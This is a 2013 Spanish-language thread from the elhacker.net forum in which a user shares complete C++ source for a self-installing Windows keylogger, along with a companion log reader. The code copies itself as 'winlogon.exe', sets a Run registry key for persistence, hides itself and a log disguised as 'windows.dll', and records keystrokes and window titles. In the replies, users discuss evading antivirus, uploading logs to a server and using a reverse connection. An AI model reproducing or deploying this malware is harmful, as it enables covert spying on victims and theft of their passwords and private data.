Test Foro de elhacker.net SMF 2.1

Programación => Programación C/C++ => Mensaje iniciado por: daryo en 15 Junio 2013, 16:52 PM

Título: [aporte]c keylogger solo con abrirlo se instala
Publicado por: daryo en 15 Junio 2013, 16:52 PM
vi algunos interesados en keylogger asi que traigo esto
esta algo desordenado.

perdon el desorden  :-[.

aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE  PARA WINDOWS VISTA O POSTERIOR descomentar nunca  probe esta parte del code talves se necesiten ligeras modificaciones adicionales
/*
char *instaladooo;
instaladooo=getenv("USERPROFILE");
SetCurrentDirectory(instaladooo);
*/


#include <cstring>
#include <windows.h>
#include <fstream>
#include <ctime>

using namespace std;

int main ( int argc, char *argv[] )
{
HWND hwnd;
char ventana[255];
char venta2[255];
//existe el archivo log? si no existe instalar keylogger :D
ifstream logc;
logc.open ( "windows.dll" );
if ( !logc.is_open() )
{
//---- se busca la carpeta de usuario
char * dirinstal;
char archivo [70];
char * discolocal;
dirinstal = getenv ( "HOMEPATH" );
discolocal = getenv ( "SystemDrive" );
strcpy ( archivo,discolocal );
strcat ( archivo,dirinstal );
//se crea el archivo log
ofstream logos;
char winlog [70];
strcpy ( winlog, archivo );

strcat ( winlog, "\\windows.dll" );
logos.open ( winlog, ios::out | ios::app );
logos.close ();
//-------
strcat ( archivo, "\\winlogon.exe" );
// se copia en la carpeta de usuario
CopyFile ( argv[0], archivo, true );
//- ahora se añade al registro
HKEY hkey;
RegOpenKeyEx ( HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\run",
0, KEY_SET_VALUE, &hkey );
RegSetValueEx ( hkey, "windout", 0, REG_SZ,
(const unsigned char * ) archivo, sizeof archivo );
RegCloseKey ( hkey );
//se esconden los archivos , el keylogger y el log
SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
// ahora el log
SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
//por ultimo se cierra el sistema esperando que se reinicie el pc
return 0;
}
logc.close();

// abre el archivo log
/*
char *instalado
instalado=getenv("USERPROFILE");
SetCurrentDirectory(instalado)
*/
ofstream log;
log.open ( "windows.dll", ios::out | ios::app );
while ( true )
{
//detecta cambio de ventana
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, ventana, 255 );
//----------------------
for(int x=65;x<=90;x++) //valores ascii de los caracteres
{
if ( GetAsyncKeyState ( x ) == -32767 )
{
log << ( char ) x;
}
}
for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
{
if ( GetAsyncKeyState (x) == -32767 )
{
log << ( char ) x;
}
}
if ( GetAsyncKeyState ( ' ' ) == -32767)
{
log << " ";
}
if ( GetAsyncKeyState (1) == -32767)
{ //CLICK izquierdo
log << "[click-izq]";
}
if ( GetAsyncKeyState(2) == -32767 )
{ //click derecho
log << "[click-der]";
}
if ( GetAsyncKeyState (8) == -32767 )
{ // nada que decir
log << "[backspace]";
}
if ( GetAsyncKeyState (190) == -32767 )
{ // nada que decir
log << ".";
}
if ( GetAsyncKeyState (188) == -32767 )
{ // nada que decir
log << ",";
}
if ( GetAsyncKeyState (13) == -32767 )
{ // nada que decir
log << "[enter]";
}
//capturar flechas
if(GetAsyncKeyState(37) == -32767)
{ // nada que decir
log << "[left]";
}
if(GetAsyncKeyState(38) == -32767 )
{ // nada que decir
log << "[up]";
}
if(GetAsyncKeyState(39) == -32767 )
{ // nada que decir
log << "[right]";
}
if(GetAsyncKeyState(40) == -32767)
{ // nada que decir
log << "[down]";
}

if(GetAsyncKeyState(9) == -32767)
{
log << "[tab]";
}
//detecta cambio de ventana con otra variable
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, venta2, 255 );
//compara las viarablews de cambio de ventana
if ( strcmp ( ventana, venta2 ) != 0 )
{
//ventana a comparar
char key[]= "lolwinlogonlol";
// sera el nombre de la ventana que cierre el proceso

if ( strcmp ( ventana,key )== 0 )
{
log.close ();
return 0;
}
//calcular la fecha
time_t tiempo = time (0);
struct tm *tlocal = localtime (&tiempo);
char output[128];
strftime ( output, 128, "%d/%m/%y %H:%M:%S", tlocal );
//--------------------
log << endl << "-------------------------" << endl;
log << "fecha:" << output << endl;
log << endl << "ventana:"<< venta2 << endl;
}
}
return 0;
}



leer logs.cpp
Código (cpp) [Seleccionar]
#include <iostream>
#include <cstring>
#include <windows.h>

using namespace std;

int main()
{
char direccion[70]="notepad \"";
char *disco;
char *varsis;
SetConsoleTitle("lolwinlogonlol");
cout << "espere mientras se abre el archivo:" << endl;
varsis=getenv("HOMEPATH");
disco=getenv("SystemDrive");
strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,"\\windows.dll\"");
system(direccion);
cout << "lol" ;
return 0;
}


Título: Re: [aporte]c keylogger solo con abrirlo se instala
Publicado por: aguml en 16 Junio 2013, 11:53 AM
me parece muy interesante el codigo pero yo creo que en la zona donde haces uso de muchos condicionales if podrias haber usado in switch y hacer el codigo mas eficiente ya que solo entraria en uno de esos if pero la comprobacion seria en todos y con el switch no es asi. Otro detalle es como se lo tomaran los antivirus jejeje.
Título: Re: [aporte]c keylogger solo con abrirlo se instala
Publicado por: OmarHack en 16 Junio 2013, 12:25 PM
¿Lo hiciste tú? La verdad es que es menos código del que pensaba. Tiene buena pinta, ahora solo habría que añadirle una función para subir el archivo cada x tiempo a un servidor y otra para que se permita el programa en el firewall y queda uno keylogger dpm. :)
Título: Re: [aporte]c keylogger solo con abrirlo se instala
Publicado por: daryo en 16 Junio 2013, 15:11 PM
Cita de: aguml en 16 Junio 2013, 11:53 AM
me parece muy interesante el codigo pero yo creo que en la zona donde haces uso de muchos condicionales if podrias haber usado in switch y hacer el codigo mas eficiente ya que solo entraria en uno de esos if pero la comprobacion seria en todos y con el switch no es asi. Otro detalle es como se lo tomaran los antivirus jejeje.

pues mira que lo he usado en mas de una ocasion con varios av , espero que no lo empiezen a detectar por subirlo aca  ;D

Cita de: OmarHack en 16 Junio 2013, 12:25 PM
¿Lo hiciste tú? La verdad es que es menos código del que pensaba. Tiene buena pinta, ahora solo habría que añadirle una función para subir el archivo cada x tiempo a un servidor y otra para que se permita el programa en el firewall y queda uno keylogger dpm. :)

sip yo lo hice . No estaria mal que subieras el code si le pongas esas cosas  ;D pero lo del firewall no hace falta con conexion inversa es suficiente
Título: Re: [aporte]c keylogger solo con abrirlo se instala
Publicado por: OmarHack en 16 Junio 2013, 15:54 PM
Mi firewall controla también las conexiones salientes, por eso digo lo de abrir el firewall, pero también es muy buena idea. Hace tiempo que estoy haciendo un navegador y bueno... xD Mejor no digo como va. :silbar: Me falta mucho en sockets, pero seguro que en un futuro lo intento. >:D
Título: Re: [aporte]c keylogger solo con abrirlo se instala
Publicado por: maxim_o en 16 Junio 2013, 18:28 PM
El teclado numerico que valores ascii tendria?
Por que probando de forma sencilla me da los valores de a,b,c,d,e... en minusculas....
Y las letras normales en Mayusculas....

(NO es tu keylogger, desconozco si hay coge bien el teclado numerico)
Este "bucle"
Código (cpp) [Seleccionar]
                for (int x = 0; x <=255; x++)
                {

                        if (GetAsyncKeyState(x) == -32767)
                        {
                                cout << "Codigo tecla :" << x
                                << " La Tecla presionada es : ";
                                printf ("%c\n", x);
                        }
                }
Título: Re: [aporte]c keylogger solo con abrirlo se instala
Publicado por: daryo en 17 Junio 2013, 20:06 PM
Cita de: maxim_o en 16 Junio 2013, 18:28 PM

(NO es tu keylogger
como que no es mio? podrias aclararte
Título: Re: [aporte]c keylogger solo con abrirlo se instala
Publicado por: maxim_o en 18 Junio 2013, 00:03 AM
Ahhhh perdón si se entendio mal, me referia en ese codigo que puse que los valores del teclado numerico no los cogia bien.....
Y las caracteres los cogia como mayusculas... (en el código que puse yo)

Que en tu keyloger, no se si pasa lo mismo, que no lo había probado, a eso me refería!

Sorry si me explique mal.

Saludos
Título: Re: [aporte]c keylogger solo con abrirlo se instala
Publicado por: daryo en 18 Junio 2013, 13:52 PM
Cita de: maxim_o en 18 Junio 2013, 00:03 AM
Ahhhh perdón si se entendio mal, me referia en ese codigo que puse que los valores del teclado numerico no los cogia bien.....
Y las caracteres los cogia como mayusculas... (en el código que puse yo)

Que en tu keyloger, no se si pasa lo mismo, que no lo había probado, a eso me refería!

Sorry si me explique mal.

Saludos
ok n_n